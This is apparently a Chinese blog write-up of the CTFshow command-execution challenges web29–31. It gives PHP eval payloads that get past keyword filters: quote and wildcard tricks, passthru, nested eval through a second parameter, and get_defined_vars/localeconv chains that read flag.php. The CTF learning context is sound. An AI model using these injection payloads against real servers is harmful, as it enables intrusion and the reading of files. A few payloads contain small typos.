• CTFshow 命令执行 web29 30 31


    目录

    web29

    代码分析:

    payload:

    解题过程:

    flag:

    web30

    代码分析:

    payload:

    ​编辑flag:

    web31

    代码分析:

    二次传递:通过传两个参数来绕过检测

    payload:

    套娃:套娃这里介绍两种套娃的方式get_defined_vars()、localeconv()

    需要用到的函数:

    第一种

    第二种

    flag:


    web29

    代码分析:

    1. error_reporting(0);
    2. if(isset($_GET['c'])){
    3. $c = $_GET['c'];
    4. if(!preg_match("/flag/i", $c)){
    5. eval($c);
    6. }
    7. }else{
    8. highlight_file(__FILE__);
    9. }

     GET方式获取参数c,并将eval($c)将c作为代码执行

    preg_match正则匹配,这里是判断是否存在flag存在则不执行,即过滤flag

    payload:

    ?c=system('tac fl""ag.php);

    绕过flag.php的方法很多,这里使用最简单的绕过方式双引号绕过,和它等同的是单引号绕过,更多的绕过方式后面也会提到

    tac是查看代码的命令,与cat类似,不知道为什么cat在这里用不了

    解题过程:

    ?c=system('ls');

    查看一下当前目录有什么文件

    再使用payload获取flag

    flag:

    ctfshow{144242cf-a65b-4239-99e4-15e538453d2f}

    web30

    代码分析:

    if(!preg_match("/flag|system|php/i", $c))

    这里把system与flag、php都过滤了

    system绕过:可以使用passthru等函数绕过

    flag.php:可以使用引号绕过fl""ag.p""hp,也可以使用通配符绕过fl*

    payload:

    1. ?c=passthru('ls');
    2. ?c=passthru('tac fl*');

    flag:

    ctfshow{8ea88388-bcad-4091-9c35-cf3cc290f5f6} 

    web31

    代码分析:

     if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))

    过滤的东西有点多,单引号过滤了,空格过滤了,这时候可以考虑用二次传递或者套娃来做

    二次传递:通过传两个参数来绕过检测

    payload:

    1. ?c=eval($_GET[1]);&1=system('ls');
    2. ?c=eval($_GET[1]);&1=system('tac flag.php');

    if中检测的是eval($_GET[1]);并没有出现违法字符,但我们通过eval与&1将命令传递进c中并且能被执行

    套娃:套娃这里介绍两种套娃的方式get_defined_vars()、localeconv()

    需要用到的函数:

    get_defined_vars() 返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

    array_pop() 是删除并返回数组最后一个元素

    current() 返回数组中的当前元素的值。别名是 pos()

    next() 返回数组中的下一个元素的值。

    end()最后一个

    scandir() 函数返回指定目录中的文件和目录的数组。

    print_r() 函数用于打印变量,以更容易理解的形式展示。

    localeconv()函数会返回一一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."

    current() 函数返回数组中的当前元素的值。别名是 pos()

    array_reverse() 函数将原数组中的元素顺序翻转,创建新的数组并返回。

    read_file()、highlight_file()和show_source()读出源码

    第一种

    print_r():函数用于打印变量,以更容易理解的形式展示

    get_defined_vars():返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

     print_r(get_defined_vars());

     可以看到一共有这么多参数,其中有个值未POST,尝试使用POST传入Chen=system('ls');

     可以看到POST中出现先了一个system('ls'),现在就需要通过函数将它取出来

    current() :返回数组中的当前元素的值。别名是 pos()
    next() :返回数组中的下一个元素的值。

    使用next函数给它取出来

     print_r(next(get_defined_vars()));

     

     取出来了一个类似于数组的东西,下标为Chen 值为system('ls');

    array_pop() 是删除并返回数组最后一个元素
    使用array_pop()将值取出来

     print_r(array_pop(next(get_defined_vars())));

    现在传入进入的内容就相当于 print_r(system('ls')) ,只需要将print_r换成eval,最终payload

    POST传递Chen=system('ls');

    eval(array_pop(next(get_defined_vars())));

    改变Chen=systme('tac flag.php');

    第二种

    scandir() 函数返回指定目录中的文件和目录的数组。

    localeconv()函数会返回一一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."

    这道题将.给过滤了,所以可以使用localeconv()代替点,scandir(.),使用前面提到的current()/pos()将.给取出来

    print_r(scandir(pos(localeconv())));

    可以看到flag.php ,使用函数给它取出来使用代码展示函数,将网页显示出来

    array_reverse():将整个数组反转,再使用next取出flag.php

    print_r(next(array_reverse(scandir(pos(localeconv())))));

    最后使用 read_file()、highlight_file()和show_source()读出源码

    highlight_file(next(array_reverse(scandir(pos(localeconv())))));

    flag:

    ctfshow{44e0aa35-ceb8-4317-b8ed-c3f7ef77a40c}

  • 相关阅读:
    docker desktop无法启动问题
    SpringCloud - Config分布式配置中心
    liunx python3连接oracle
    基于DataX的海量时序数据迁移实战:从MySQL到TDengine3.x
    手工架设安装教程:
    leetcode做题笔记169. 多数元素
    利用python找出偏序集中极大元、极小元、最大元和最小元
    Spring:AOP的五种通知类型(12)
    Android单编模块报FAILED: ninja: unknown target ‘MODULES-IN-vendor错误解决
    2023.11-9 hive数据仓库,概念,架构
  • 原文地址:https://blog.csdn.net/qq_40345591/article/details/127744117